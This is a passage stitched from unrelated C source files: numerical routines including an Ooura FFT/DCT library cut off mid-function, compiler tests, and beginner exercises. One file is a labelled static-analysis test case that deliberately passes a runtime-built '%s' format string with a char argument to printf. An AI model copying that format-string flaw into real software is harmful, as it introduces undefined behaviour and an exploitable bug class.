/* ! ========================================================================= elemental function gsw_t_from_pt0_ice (pt0_ice, p) ! ========================================================================= ! ! Calculates in-situ temperature from the potential temperature of ice Ih ! with reference pressure, p_ref, of 0 dbar (the surface), and the ! in-situ pressure. ! ! pt0_ice = potential temperature of ice Ih with reference pressure of ! zero dbar (ITS-90) [ deg C ] ! p = sea pressure [ dbar ] ! ( i.e. absolute pressure - 10.1325 dbar ) !-------------------------------------------------------------------------- */ double gsw_t_from_pt0_ice(double pt0_ice, double p) { double p0 = 0.0; return (gsw_pt_from_t_ice(pt0_ice,p0,p)); }
the_stack_data/53812.c
void f(int i) { if (i != 1000) abort (); } int main() { int n=1000; int i; f(n); for(i=0; i<1; ++i) { f(n); n=666; &n; } exit (0); }
the_stack_data/67325883.c
#include <stdio.h> int main(void) { float fahr, celsius; int lower, upper, step; lower = 0; upper = 300; step = 20; printf (" C F\n"); celsius = lower; while (celsius <= upper) { fahr = celsius * (9.0/5.0) + 32.0; printf ("%3.0f %6.1f\n", celsius, fahr); celsius = celsius + step; } return 0; } /* $ ./a.out C F 0 32.0 20 68.0 40 104.0 60 140.0 80 176.0 100 212.0 120 248.0 140 284.0 160 320.0 180 356.0 200 392.0 220 428.0 240 464.0 260 500.0 280 536.0 300 572.0 */
the_stack_data/25094.c
//lcm (u, v) = uv / gcd (u, v) u, v >= 0 #include <stdio.h> int main(int argc, char const *argv[]) { int lcm (int u, int v); /* code */ lcm(15,-10); return 0; } int lcm (int u, int v) { int gcd (int u, int v); int temp; // LCM alias if (u >= 0 && v>=0) { temp = u*v / gcd (u,v); printf("result = %d", temp); } else printf("you cannot use - values"); return 0; } int gcd (int u, int v) { int temp; while ( v != 0 ) { temp = u % v; u = v; v = temp; } return u; }
the_stack_data/178265139.c
// RUN: %clang -o /dev/null -v -fxray-instrument -target x86_64-apple-macos10.11 -c %s // RUN: %clang -o /dev/null -v -fxray-instrument -target x86_64-apple-darwin15 -c %s // REQUIRES: x86_64 || x86_64h typedef int a;
the_stack_data/147234.c
//Classification: #format_error/n/IVO/FM/aS+dA/printf/string/char //Written by: Igor Eremeev //Reviewed by: Sergey Pomelov //Comment: #include <stdlib.h> #include <stdio.h> #include <malloc.h> #include <string.h> int main(void) { char c = 'a'; char* pc = (char*)malloc(sizeof(char)*5); if (pc == 0) { return 1; } strcpy (pc, "%"); strcat (pc, "s"); printf (pc, c); free(pc); return 0; }
the_stack_data/173576814.c
#include <stdio.h> int main() { FILE* f; f = fopen("/home/turing/test.txt", "a+"); if (f != NULL) { fputs("fopen example", f); fclose(f); f=NULL; } return 0; }
the_stack_data/20450231.c
#include <stdio.h> int main(){ int length, breadth, area, perimeter; printf("Enter length of rectangle: "); scanf("%d", &length); printf("Enter breadth of rectangle: "); scanf("%d", &breadth); area = length * breadth; perimeter = 2*length + 2*breadth; if(area > perimeter){ printf("\nArea is greater than perimeter\n"); }else{ printf("\nPerimeter is greater than area\n"); } return 0; }
the_stack_data/248581930.c
/* * Copyright 2021 Yury Gribov * * Use of this source code is governed by MIT license that can be * found in the LICENSE.txt file. */ #include <stdlib.h> char aa[128]; // OPTS: start=1 // CHECK: qsort: .* called from int cmp(const void *pa, const void *pb) { return (const char *)pa < &aa[32] ? 0 : 1; } int main() { qsort(aa, sizeof(aa), 1, cmp); return 0; }
the_stack_data/237643549.c
extern void bar(void) { }
the_stack_data/88585.c
#include <stdlib.h> /** * Compute the quotient and remainder of a long integer division. * * @param numer The numerator. * @param denom The denominator. * @return A structure of type ldiv_t containing the quotient and remainder. */ ldiv_t ldiv(long numer, long denom) { ldiv_t result; result.quot = numer / denom; result.rem = numer % denom; return result; }
the_stack_data/180034.c
#include <stdio.h> int main(void) { int q, p, r, s, n; scanf("%d", &q); for (p = 0; p < q; ++p) { scanf("%d", &r); for (s = 0; s < r; ++s) { scanf("%d", &n); switch (n) { case 1: printf("Rolien\n"); break; case 2: printf("Naej\n"); break; case 3: printf("Elehcim\n"); break; case 4: printf("Odranoel\n"); break; } } } return 0; }
the_stack_data/67326658.c
/* Fast Fourier/Cosine/Sine Transform dimension :one data length :power of 2 decimation :frequency radix :4, 2 data :inplace table :use functions cdft: Complex Discrete Fourier Transform rdft: Real Discrete Fourier Transform ddct: Discrete Cosine Transform ddst: Discrete Sine Transform dfct: Cosine Transform of RDFT (Real Symmetric DFT) dfst: Sine Transform of RDFT (Real Anti-symmetric DFT) function prototypes void cdft(int, int, double *, int *, double *); void rdft(int, int, double *, int *, double *); void ddct(int, int, double *, int *, double *); void ddst(int, int, double *, int *, double *); void dfct(int, double *, double *, int *, double *); void dfst(int, double *, double *, int *, double *); -------- Complex DFT (Discrete Fourier Transform) -------- [definition] <case1> X[k] = sum_j=0^n-1 x[j]*exp(2*pi*i*j*k/n), 0<=k<n <case2> X[k] = sum_j=0^n-1 x[j]*exp(-2*pi*i*j*k/n), 0<=k<n (notes: sum_j=0^n-1 is a summation from j=0 to n-1) [usage] <case1> ip[0] = 0; // first time only cdft(2*n, 1, a, ip, w); <case2> ip[0] = 0; // first time only cdft(2*n, -1, a, ip, w); [parameters] 2*n :data length (int) n >= 1, n = power of 2 a[0...2*n-1] :input/output data (double *) input data a[2*j] = Re(x[j]), a[2*j+1] = Im(x[j]), 0<=j<n output data a[2*k] = Re(X[k]), a[2*k+1] = Im(X[k]), 0<=k<n ip[0...*] :work area for bit reversal (int *) length of ip >= 2+sqrt(n) strictly, length of ip >= 2+(1<<(int)(log(n+0.5)/log(2))/2). ip[0],ip[1] are pointers of the cos/sin table. w[0...n/2-1] :cos/sin table (double *) w[],ip[] are initialized if ip[0] == 0. [remark] Inverse of cdft(2*n, -1, a, ip, w); is cdft(2*n, 1, a, ip, w); for (j = 0; j <= 2 * n - 1; j++) { a[j] *= 1.0 / n; } . -------- Real DFT / Inverse of Real DFT -------- [definition] <case1> RDFT R[k] = sum_j=0^n-1 a[j]*cos(2*pi*j*k/n), 0<=k<=n/2 I[k] = sum_j=0^n-1 a[j]*sin(2*pi*j*k/n), 0<k<n/2 <case2> IRDFT (excluding scale) a[k] = (R[0] + R[n/2]*cos(pi*k))/2 + sum_j=1^n/2-1 R[j]*cos(2*pi*j*k/n) + sum_j=1^n/2-1 I[j]*sin(2*pi*j*k/n), 0<=k<n [usage] <case1> ip[0] = 0; // first time only rdft(n, 1, a, ip, w); <case2> ip[0] = 0; // first time only rdft(n, -1, a, ip, w); [parameters] n :data length (int) n >= 2, n = power of 2 a[0...n-1] :input/output data (double *) <case1> output data a[2*k] = R[k], 0<=k<n/2 a[2*k+1] = I[k], 0<k<n/2 a[1] = R[n/2] <case2> input data a[2*j] = R[j], 0<=j<n/2 a[2*j+1] = I[j], 0<j<n/2 a[1] = R[n/2] ip[0...*] :work area for bit reversal (int *) length of ip >= 2+sqrt(n/2) strictly, length of ip >= 2+(1<<(int)(log(n/2+0.5)/log(2))/2). ip[0],ip[1] are pointers of the cos/sin table. w[0...n/2-1] :cos/sin table (double *) w[],ip[] are initialized if ip[0] == 0. [remark] Inverse of rdft(n, 1, a, ip, w); is rdft(n, -1, a, ip, w); for (j = 0; j <= n - 1; j++) { a[j] *= 2.0 / n; } . -------- DCT (Discrete Cosine Transform) / Inverse of DCT -------- [definition] <case1> IDCT (excluding scale) C[k] = sum_j=0^n-1 a[j]*cos(pi*j*(k+1/2)/n), 0<=k<n <case2> DCT C[k] = sum_j=0^n-1 a[j]*cos(pi*(j+1/2)*k/n), 0<=k<n [usage] <case1> ip[0] = 0; // first time only ddct(n, 1, a, ip, w); <case2> ip[0] = 0; // first time only ddct(n, -1, a, ip, w); [parameters] n :data length (int) n >= 2, n = power of 2 a[0...n-1] :input/output data (double *) output data a[k] = C[k], 0<=k<n ip[0...*] :work area for bit reversal (int *) length of ip >= 2+sqrt(n/2) strictly, length of ip >= 2+(1<<(int)(log(n/2+0.5)/log(2))/2). ip[0],ip[1] are pointers of the cos/sin table. w[0...n*5/4-1] :cos/sin table (double *) w[],ip[] are initialized if ip[0] == 0. [remark] Inverse of ddct(n, -1, a, ip, w); is a[0] *= 0.5; ddct(n, 1, a, ip, w); for (j = 0; j <= n - 1; j++) { a[j] *= 2.0 / n; } . -------- DST (Discrete Sine Transform) / Inverse of DST -------- [definition] <case1> IDST (excluding scale) S[k] = sum_j=1^n A[j]*sin(pi*j*(k+1/2)/n), 0<=k<n <case2> DST S[k] = sum_j=0^n-1 a[j]*sin(pi*(j+1/2)*k/n), 0<k<=n [usage] <case1> ip[0] = 0; // first time only ddst(n, 1, a, ip, w); <case2> ip[0] = 0; // first time only ddst(n, -1, a, ip, w); [parameters] n :data length (int) n >= 2, n = power of 2 a[0...n-1] :input/output data (double *) <case1> input data a[j] = A[j], 0<j<n a[0] = A[n] output data a[k] = S[k], 0<=k<n <case2> output data a[k] = S[k], 0<k<n a[0] = S[n] ip[0...*] :work area for bit reversal (int *) length of ip >= 2+sqrt(n/2) strictly, length of ip >= 2+(1<<(int)(log(n/2+0.5)/log(2))/2). ip[0],ip[1] are pointers of the cos/sin table. w[0...n*5/4-1] :cos/sin table (double *) w[],ip[] are initialized if ip[0] == 0. [remark] Inverse of ddst(n, -1, a, ip, w); is a[0] *= 0.5; ddst(n, 1, a, ip, w); for (j = 0; j <= n - 1; j++) { a[j] *= 2.0 / n; } . -------- Cosine Transform of RDFT (Real Symmetric DFT) -------- [definition] C[k] = sum_j=0^n a[j]*cos(pi*j*k/n), 0<=k<=n [usage] ip[0] = 0; // first time only dfct(n, a, t, ip, w); [parameters] n :data length - 1 (int) n >= 2, n = power of 2 a[0...n] :input/output data (double *) output data a[k] = C[k], 0<=k<=n t[0...n/2] :work area (double *) ip[0...*] :work area for bit reversal (int *) length of ip >= 2+sqrt(n/4) strictly, length of ip >= 2+(1<<(int)(log(n/4+0.5)/log(2))/2). ip[0],ip[1] are pointers of the cos/sin table. w[0...n*5/8-1] :cos/sin table (double *) w[],ip[] are initialized if ip[0] == 0. [remark] Inverse of a[0] *= 0.5; a[n] *= 0.5; dfct(n, a, t, ip, w); is a[0] *= 0.5; a[n] *= 0.5; dfct(n, a, t, ip, w); for (j = 0; j <= n; j++) { a[j] *= 2.0 / n; } . -------- Sine Transform of RDFT (Real Anti-symmetric DFT) -------- [definition] S[k] = sum_j=1^n-1 a[j]*sin(pi*j*k/n), 0<k<n [usage] ip[0] = 0; // first time only dfst(n, a, t, ip, w); [parameters] n :data length + 1 (int) n >= 2, n = power of 2 a[0...n-1] :input/output data (double *) output data a[k] = S[k], 0<k<n (a[0] is used for work area) t[0...n/2-1] :work area (double *) ip[0...*] :work area for bit reversal (int *) length of ip >= 2+sqrt(n/4) strictly, length of ip >= 2+(1<<(int)(log(n/4+0.5)/log(2))/2). ip[0],ip[1] are pointers of the cos/sin table. w[0...n*5/8-1] :cos/sin table (double *) w[],ip[] are initialized if ip[0] == 0. [remark] Inverse of dfst(n, a, t, ip, w); is dfst(n, a, t, ip, w); for (j = 1; j <= n - 1; j++) { a[j] *= 2.0 / n; } . Appendix : The cos/sin table is recalculated when the larger table required. w[] and ip[] are compatible with all routines. */ void cdft(int n, int isgn, double *a, int *ip, double *w) { void makewt(int nw, int *ip, double *w); void bitrv2(int n, int *ip, double *a); void bitrv2conj(int n, int *ip, double *a); void cftfsub(int n, double *a, double *w); void cftbsub(int n, double *a, double *w); if (n > (ip[0] << 2)) { makewt(n >> 2, ip, w); } if (n > 4) { if (isgn >= 0) { bitrv2(n, ip + 2, a); cftfsub(n, a, w); } else { bitrv2conj(n, ip + 2, a); cftbsub(n, a, w); } } else if (n == 4) { cftfsub(n, a, w); } } void rdft(int n, int isgn, double *a, int *ip, double *w) { void makewt(int nw, int *ip, double *w); void makect(int nc, int *ip, double *c); void bitrv2(int n, int *ip, double *a); void cftfsub(int n, double *a, double *w); void cftbsub(int n, double *a, double *w); void rftfsub(int n, double *a, int nc, double *c); void rftbsub(int n, double *a, int nc, double *c); int nw, nc; double xi; nw = ip[0]; if (n > (nw << 2)) { nw = n >> 2; makewt(nw, ip, w); } nc = ip[1]; if (n > (nc << 2)) { nc = n >> 2; makect(nc, ip, w + nw); } if (isgn >= 0) { if (n > 4) { bitrv2(n, ip + 2, a); cftfsub(n, a, w); rftfsub(n, a, nc, w + nw); } else if (n == 4) { cftfsub(n, a, w); } xi = a[0] - a[1]; a[0] += a[1]; a[1] = xi; } else { a[1] = 0.5 * (a[0] - a[1]); a[0] -= a[1]; if (n > 4) { rftbsub(n, a, nc, w + nw); bitrv2(n, ip + 2, a); cftbsub(n, a, w); } else if (n == 4) { cftfsub(n, a, w); } } } void ddct(int n, int isgn, double *a, int *ip, double *w) { void makewt(int nw, int *ip, double *w); void makect(int nc, int *ip, double *c); void bitrv2(int n, int *ip, double *a); void cftfsub(int n, double *a, double *w); void cftbsub(int n, double *a, double *w); void rftfsub(int n, double *a, int nc, double *c); void rftbsub(int n, double *a, int nc, double *c); void dctsub(int n, double *a, int nc, double *c); int j, nw, nc; double xr; nw = ip[0]; if (n > (nw << 2)) { nw = n >> 2; makewt(nw, ip, w); } nc = ip[1]; if (n > nc) { nc = n; makect(nc, ip, w + nw); } if (isgn < 0) { xr = a[n - 1]; for (j = n - 2; j >= 2; j -= 2) { a[j + 1] = a[j] - a[j - 1]; a[j] += a[j - 1]; } a[1] = a[0] - xr; a[0] += xr; if (n > 4) { rftbsub(n, a, nc, w + nw); bitrv2(n, ip + 2, a); cftbsub(n, a, w); } else if (n == 4) { cftfsub(n, a, w); } } dctsub(n, a, nc, w + nw); if (isgn >= 0) { if (n > 4) { bitrv2(n, ip + 2, a); cftfsub(n, a, w); rftfsub(n, a, nc, w + nw); } else if (n == 4) { cftfsub(n, a, w); } xr = a[0] - a[1]; a[0] += a[1]; for (j = 2; j < n; j += 2) { a[j - 1] = a[j] - a[j + 1]; a[j] += a[j + 1]; } a[n - 1] = xr; } } void ddst(int n, int isgn, double *a, int *ip, double *w) { void makewt(int nw, int *ip, double *w); void makect(int nc, int *ip, double *c); void bitrv2(int n, int *ip, double *a); void cftfsub(int n, double *a, double *w); void cftbsub(int n, double *a, double *w); void rftfsub(int n, double *a, int nc, double *c); void rftbsub(int n, double *a, int nc, double *c); void dstsub(int n, double *a, int nc, double *c); int j, nw, nc; double xr; nw = ip[0]; if (n > (nw << 2)) { nw = n >> 2; makewt(nw, ip, w); } nc = ip[1]; if (n > nc) { nc = n; makect(nc, ip, w + nw); } if (isgn < 0) { xr = a[n - 1]; for (j = n - 2; j >= 2; j -= 2) { a[j + 1] = -a[j] - a[j - 1]; a[j] -= a[j - 1]; } a[1] = a[0] + xr; a[0] -= xr; if (n > 4) { rftbsub(n, a, nc, w + nw); bitrv2(n, ip + 2, a); cftbsub(n, a, w); } else if (n == 4) { cftfsub(n, a, w); } } dstsub(n, a, nc, w + nw); if (isgn >= 0) { if (n > 4) { bitrv2(n, ip + 2, a); cftfsub(n, a, w); rftfsub(n, a, nc, w + nw); } else if (n == 4) { cftfsub(n, a, w); } xr = a[0] - a[1]; a[0] += a[1]; for (j = 2; j < n; j += 2) { a[j - 1] = -a[j] - a[j + 1]; a[j] -= a[j + 1]; } a[n - 1] = -xr; } } void dfct(int n, double *a, double *t, int *ip, double *w) { void makewt(int nw, int *ip, double *w); void makect(int nc, int *ip, double *c); void bitrv2(int n, int *ip, double *a); void cftfsub(int n, double *a, double *w); void rftfsub(int n, double *a, int nc, double *c); void dctsub(int n, double *a, int nc, double *c); int j, k, l, m, mh, nw, nc; double xr, xi, yr, yi; nw = ip[0]; if (n > (nw << 3)) { nw = n >> 3; makewt(nw, ip, w); } nc = ip[1]; if (n > (nc << 1)) { nc = n >> 1; makect(nc, ip, w + nw); } m = n >> 1; yi = a[m]; xi = a[0] + a[n]; a[0] -= a[n]; t[0] = xi - yi; t[m] = xi + yi; if (n > 2) { mh = m >> 1; for (j = 1; j < mh; j++) { k = m - j; xr = a[j] - a[n - j]; xi = a[j] + a[n - j]; yr = a[k] - a[n - k]; yi = a[k] + a[n - k]; a[j] = xr; a[k] = yr; t[j] = xi - yi; t[k] = xi + yi; } t[mh] = a[mh] + a[n - mh]; a[mh] -= a[n - mh]; dctsub(m, a, nc, w + nw); if (m > 4) { bitrv2(m, ip + 2, a); cftfsub(m, a, w); rftfsub(m, a, nc, w + nw); } else if (m == 4) { cftfsub(m, a, w); } a[n - 1] = a[0] - a[1]; a[1] = a[0] + a[1]; for (j = m - 2; j >= 2; j -= 2) { a[2 * j + 1] = a[j] + a[j + 1]; a[2 * j - 1] = a[j] - a[j + 1]; } l = 2; m = mh; while (m >= 2) { dctsub(m, t, nc, w + nw); if (m > 4) { bitrv2(m, ip + 2, t); cftfsub(m, t, w); rftfsub(m, t, nc, w + nw); } else if (m == 4) { cftfsub(m, t, w); } a[n - l] = t[0] - t[1]; a[l] = t[0] + t[1]; k = 0; for (j = 2; j < m; j += 2) { k += l << 2; a[k - l] = t[j] - t[j + 1]; a[k + l] = t[j] + t[j + 1]; } l <<= 1; mh = m >> 1; for (j = 0; j < mh; j++) { k = m - j; t[j] = t[m + k] - t[m + j]; t[k] = t[m + k] + t[m + j]; } t[mh] = t[m + mh]; m = mh; } a[l] = t[0]; a[n] = t[2] - t[1]; a[0] = t[2] + t[1]; } else { a[1] = a[0]; a[2] = t[0]; a[0] = t[1]; } } void dfst(int n, double *a, double *t, int *ip, double *w) { void makewt(int nw, int *ip, double *w); void makect(int nc, int *ip, double *c); void bitrv2(int n, int *ip, double *a); void cftfsub(int n, double *a, double *w); void rftfsub(int n, double *a, int nc, double *c); void dstsub(int n, double *a, int nc, double *c); int j, k, l, m, mh, nw, nc; double xr, xi, yr, yi; nw = ip[0]; if (n > (nw << 3)) { nw = n >> 3; makewt(nw, ip, w); } nc = ip[1]; if (n > (nc << 1)) { nc = n >> 1; makect(nc, ip, w + nw); } if (n > 2) { m = n >> 1; mh = m >> 1; for (j = 1; j < mh; j++) { k = m - j; xr = a[j] + a[n - j]; xi = a[j] - a[n - j]; yr = a[k] + a[n - k]; yi = a[k] - a[n - k]; a[j] = xr; a[k] = yr; t[j] = xi + yi; t[k] = xi - yi; } t[0] = a[mh] - a[n - mh]; a[mh] += a[n - mh]; a[0] = a[m]; dstsub(m, a, nc, w + nw); if (m > 4) { bitrv2(m, ip + 2, a); cftfsub(m, a, w); rftfsub(m, a, nc, w + nw); } else if (m == 4) { cftfsub(m, a, w); } a[n - 1] = a[1] - a[0]; a[1] = a[0] + a[1]; for (j = m - 2; j >= 2; j -= 2) { a[2 * j + 1] = a[j] - a[j + 1]; a[2 * j - 1] = -a[j] - a[j + 1]; } l = 2; m = mh; while (m >= 2) { dstsub(m, t, nc, w + nw); if (m > 4) { bitrv2(m, ip + 2, t); cftfsub(m, t, w); rftfsub(m, t, nc, w + nw); } else if (m == 4) { cftfsub(m, t, w); } a[n - l] = t[1] - t[0]; a[l] = t[0] + t[1]; k = 0; for (j = 2; j < m; j += 2) { k += l << 2; a[k - l] = -t[j] - t[j + 1]; a[k + l] = t[j] - t[j + 1]; } l <<= 1; mh = m >> 1; for (j = 1; j < mh; j++) { k = m - j; t[j] = t[m + k] + t[m + j]; t[k] = t[m + k] - t[m + j]; } t[0] = t[m + mh]; m = mh; } a[l] = t[0]; } a[0] = 0; } /* -------- initializing routines -------- */ #include <math.h> void makewt(int nw, int *ip, double *w) { void bitrv2(int n, int *ip, double *a); int j, nwh; double delta, x, y; ip[0] = nw; ip[1] = 1; if (nw > 2) { nwh = nw >> 1; delta = atan(1.0) / nwh; w[0] = 1; w[1] = 0; w[nwh] = cos(delta * nwh); w[nwh + 1] = w[nwh]; if (nwh > 2) { for (j = 2; j < nwh; j += 2) { x = cos(delta * j); y = sin(delta * j); w[j] = x; w[j + 1] = y; w[nw - j] = y; w[nw - j + 1] = x; } bitrv2(nw, ip + 2, w); } } } void makect(int nc, int *ip, double *c) { int j, nch; double delta; ip[1] = nc; if (nc > 1) { nch = nc >> 1; delta = atan(1.0) / nch; c[0] = cos(delta * nch); c[nch] = 0.5 * c[0]; for (j = 1; j < nch; j++) { c[j] = 0.5 * cos(delta * j); c[nc - j] = 0.5 * sin(delta * j); } } } /* -------- child routines -------- */ void bitrv2(int n, int *ip, double *a) { int j, j1, k, k1, l, m, m2; double xr, xi, yr, yi; ip[0] = 0; l = n; m = 1; while ((m << 3) < l) { l >>= 1; for (j = 0; j < m; j++) { ip[m + j] = ip[j] + l; } m <<= 1; } m2 = 2 * m; if ((m << 3) == l) { for (k = 0; k < m; k++) { for (j = 0; j < k; j++) { j1 = 2 * j + ip[k]; k1 = 2 * k + ip[j]; xr = a[j1]; xi = a[j1 + 1]; yr = a[k1]; yi = a[k1 + 1]; a[j1] = yr; a[j1 + 1] = yi; a[k1] = xr; a[k1 + 1] = xi; j1 += m2; k1 += 2 * m2; xr = a[j1]; xi = a[j1 + 1]; yr = a[k1]; yi = a[k1 + 1]; a[j1] = yr; a[j1 + 1] = yi; a[k1] = xr; a[k1 + 1] = xi; j1 += m2; k1 -= m2; xr = a[j1]; xi = a[j1 + 1]; yr = a[k1]; yi = a[k1 + 1]; a[j1] = yr; a[j1 + 1] = yi; a[k1] = xr; a[k1 + 1] = xi; j1 += m2; k1 += 2 * m2; xr = a[j1]; xi = a[j1 + 1]; yr = a[k1]; yi = a[k1 + 1]; a[j1] = yr; a[j1 + 1] = yi; a[k1] = xr; a[k1 + 1] = xi; } j1 = 2 * k + m2 + ip[k]; k1 = j1 + m2; xr = a[j1]; xi = a[j1 + 1]; yr = a[k1]; yi = a[k1 + 1]; a[j1] = yr; a[j1 + 1] = yi; a[k1] = xr; a[k1 + 1] = xi; } } else { for (k = 1; k < m; k++) { for (j = 0; j < k; j++) { j1 = 2 * j + ip[k]; k1 = 2 * k + ip[j]; xr = a[j1]; xi = a[j1 + 1]; yr = a[k1]; yi = a[k1 + 1]; a[j1] = yr; a[j1 + 1] = yi; a[k1] = xr; a[k1 + 1] = xi; j1 += m2; k1 += m2; xr = a[j1]; xi = a[j1 + 1]; yr = a[k1]; yi = a[k1 + 1]; a[j1] = yr; a[j1 + 1] = yi; a[k1] = xr; a[k1 + 1] = xi; } } } } void bitrv2conj(int n, int *ip, double *a) { int j, j1, k, k1, l, m, m2; double xr, xi, yr, yi; ip[0] = 0; l = n; m = 1; while ((m << 3) < l) { l >>= 1; for (j = 0; j < m; j++) { ip[m + j] = ip[j] + l; } m <<= 1; } m2 = 2 * m; if ((m << 3) == l) { for (k = 0; k < m; k++) { for (j = 0; j < k; j++) { j1 = 2 * j + ip[k]; k1 = 2 * k + ip[j]; xr = a[j1]; xi = -a[j1 + 1]; yr = a[k1]; yi = -a[k1 + 1]; a[j1] = yr; a[j1 + 1] = yi; a[k1] = xr; a[k1 + 1] = xi; j1 += m2; k1 += 2 * m2; xr = a[j1]; xi = -a[j1 + 1]; yr = a[k1]; yi = -a[k1 + 1]; a[j1] = yr; a[j1 + 1] = yi; a[k1] = xr; a[k1 + 1] = xi; j1 += m2; k1 -= m2; xr = a[j1]; xi = -a[j1 + 1]; yr = a[k1]; yi = -a[k1 + 1]; a[j1] = yr; a[j1 + 1] = yi; a[k1] = xr; a[k1 + 1] = xi; j1 += m2; k1 += 2 * m2; xr = a[j1]; xi = -a[j1 + 1]; yr = a[k1]; yi = -a[k1 + 1]; a[j1] = yr; a[j1 + 1] = yi; a[k1] = xr; a[k1 + 1] = xi; } k1 = 2 * k + ip[k]; a[k1 + 1] = -a[k1 + 1]; j1 = k1 + m2; k1 = j1 + m2; xr = a[j1]; xi = -a[j1 + 1]; yr = a[k1]; yi = -a[k1 + 1]; a[j1] = yr; a[j1 + 1] = yi; a[k1] = xr; a[k1 + 1] = xi; k1 += m2; a[k1 + 1] = -a[k1 + 1]; } } else { a[1] = -a[1]; a[m2 + 1] = -a[m2 + 1]; for (k = 1; k < m; k++) { for (j = 0; j < k; j++) { j1 = 2 * j + ip[k]; k1 = 2 * k + ip[j]; xr = a[j1]; xi = -a[j1 + 1]; yr = a[k1]; yi = -a[k1 + 1]; a[j1] = yr; a[j1 + 1] = yi; a[k1] = xr; a[k1 + 1] = xi; j1 += m2; k1 += m2; xr = a[j1]; xi = -a[j1 + 1]; yr = a[k1]; yi = -a[k1 + 1]; a[j1] = yr; a[j1 + 1] = yi; a[k1] = xr; a[k1 + 1] = xi; } k1 = 2 * k + ip[k]; a[k1 + 1] = -a[k1 + 1]; a[k1 + m2 + 1] = -a[k1 + m2 + 1]; } } } void cftfsub(int n, double *a, double *w) { void cft1st(int n, double *a, double *w); void cftmdl(int n, int l, double *a, double *w); int j, j1, j2, j3, l; double x0r, x0i, x1r, x1i, x2r, x2i, x3r, x3i; l = 2; if (n > 8) { cft1st(n, a, w); l = 8; while ((l << 2) < n) { cftmdl(n, l, a, w); l <<= 2; } } if ((l << 2) == n) { for (j = 0; j < l; j += 2) { j1 = j + l; j2 = j1 + l; j3 = j2 + l; x0r = a[j] + a[j1]; x0i = a[j + 1] + a[j1 + 1]; x1r = a[j] - a[j1]; x1i = a[j + 1] - a[j1 + 1]; x2r = a[j2] + a[j3]; x2i = a[j2 + 1] + a[j3 + 1]; x3r = a[j2] - a[j3]; x3i = a[j2 + 1] - a[j3 + 1]; a[j] = x0r + x2r; a[j + 1] = x0i + x2i; a[j2] = x0r - x2r; a[j2 + 1] = x0i - x2i; a[j1] = x1r - x3i; a[j1 + 1] = x1i + x3r; a[j3] = x1r + x3i; a[j3 + 1] = x1i - x3r; } } else { for (j = 0; j < l; j += 2) { j1 = j + l; x0r = a[j] - a[j1]; x0i = a[j + 1] - a[j1 + 1]; a[j] += a[j1]; a[j + 1] += a[j1 + 1]; a[j1] = x0r; a[j1 + 1] = x0i; } } } void cftbsub(int n, double *a, double *w) { void cft1st(int n, double *a, double *w); void cftmdl(int n, int l, double *a, double *w); int j, j1, j2, j3, l; double x0r, x0i, x1r, x1i, x2r, x2i, x3r, x3i; l = 2; if (n > 8) { cft1st(n, a, w); l = 8; while ((l << 2) < n) { cftmdl(n, l, a, w); l <<= 2; } } if ((l << 2) == n) { for (j = 0; j < l; j += 2) { j1 = j + l; j2 = j1 + l; j3 = j2 + l; x0r = a[j] + a[j1]; x0i = -a[j + 1] - a[j1 + 1]; x1r = a[j] - a[j1]; x1i = -a[j + 1] + a[j1 + 1]; x2r = a[j2] + a[j3]; x2i = a[j2 + 1] + a[j3 + 1]; x3r = a[j2] - a[j3]; x3i = a[j2 + 1] - a[j3 + 1]; a[j] = x0r + x2r; a[j + 1] = x0i - x2i; a[j2] = x0r - x2r; a[j2 + 1] = x0i + x2i; a[j1] = x1r - x3i; a[j1 + 1] = x1i - x3r; a[j3] = x1r + x3i; a[j3 + 1] = x1i + x3r; } } else { for (j = 0; j < l; j += 2) { j1 = j + l; x0r = a[j] - a[j1]; x0i = -a[j + 1] + a[j1 + 1]; a[j] += a[j1]; a[j + 1] = -a[j + 1] - a[j1 + 1]; a[j1] = x0r; a[j1 + 1] = x0i; } } } void cft1st(int n, double *a, double *w) { int j, k1, k2; double wk1r, wk1i, wk2r, wk2i, wk3r, wk3i; double x0r, x0i, x1r, x1i, x2r, x2i, x3r, x3i; x0r = a[0] + a[2]; x0i = a[1] + a[3]; x1r = a[0] - a[2]; x1i = a[1] - a[3]; x2r = a[4] + a[6]; x2i = a[5] + a[7]; x3r = a[4] - a[6]; x3i = a[5] - a[7]; a[0] = x0r + x2r; a[1] = x0i + x2i; a[4] = x0r - x2r; a[5] = x0i - x2i; a[2] = x1r - x3i; a[3] = x1i + x3r; a[6] = x1r + x3i; a[7] = x1i - x3r; wk1r = w[2]; x0r = a[8] + a[10]; x0i = a[9] + a[11]; x1r = a[8] - a[10]; x1i = a[9] - a[11]; x2r = a[12] + a[14]; x2i = a[13] + a[15]; x3r = a[12] - a[14]; x3i = a[13] - a[15]; a[8] = x0r + x2r; a[9] = x0i + x2i; a[12] = x2i - x0i; a[13] = x0r - x2r; x0r = x1r - x3i; x0i = x1i + x3r; a[10] = wk1r * (x0r - x0i); a[11] = wk1r * (x0r + x0i); x0r = x3i + x1r; x0i = x3r - x1i; a[14] = wk1r * (x0i - x0r); a[15] = wk1r * (x0i + x0r); k1 = 0; for (j = 16; j < n; j += 16) { k1 += 2; k2 = 2 * k1; wk2r = w[k1]; wk2i = w[k1 + 1]; wk1r = w[k2]; wk1i = w[k2 + 1]; wk3r = wk1r - 2 * wk2i * wk1i; wk3i = 2 * wk2i * wk1r - wk1i; x0r = a[j] + a[j + 2]; x0i = a[j + 1] + a[j + 3]; x1r = a[j] - a[j + 2]; x1i = a[j + 1] - a[j + 3]; x2r = a[j + 4] + a[j + 6]; x2i = a[j + 5] + a[j + 7]; x3r = a[j + 4] - a[j + 6]; x3i = a[j + 5] - a[j + 7]; a[j] = x0r + x2r; a[j + 1] = x0i + x2i; x0r -= x2r; x0i -= x2i; a[j + 4] = wk2r * x0r - wk2i * x0i; a[j + 5] = wk2r * x0i + wk2i * x0r; x0r = x1r - x3i; x0i = x1i + x3r; a[j + 2] = wk1r * x0r - wk1i * x0i; a[j + 3] = wk1r * x0i + wk1i * x0r; x0r = x1r + x3i; x0i = x1i - x3r; a[j + 6] = wk3r * x0r - wk3i * x0i; a[j + 7] = wk3r * x0i + wk3i * x0r; wk1r = w[k2 + 2]; wk1i = w[k2 + 3]; wk3r = wk1r - 2 * wk2r * wk1i; wk3i = 2 * wk2r * wk1r - wk1i; x0r = a[j + 8] + a[j + 10]; x0i = a[j + 9] + a[j + 11]; x1r = a[j + 8] - a[j + 10]; x1i = a[j + 9] - a[j + 11]; x2r = a[j + 12] + a[j + 14]; x2i = a[j + 13] + a[j + 15]; x3r = a[j + 12] - a[j + 14]; x3i = a[j + 13] - a[j + 15]; a[j + 8] = x0r + x2r; a[j + 9] = x0i + 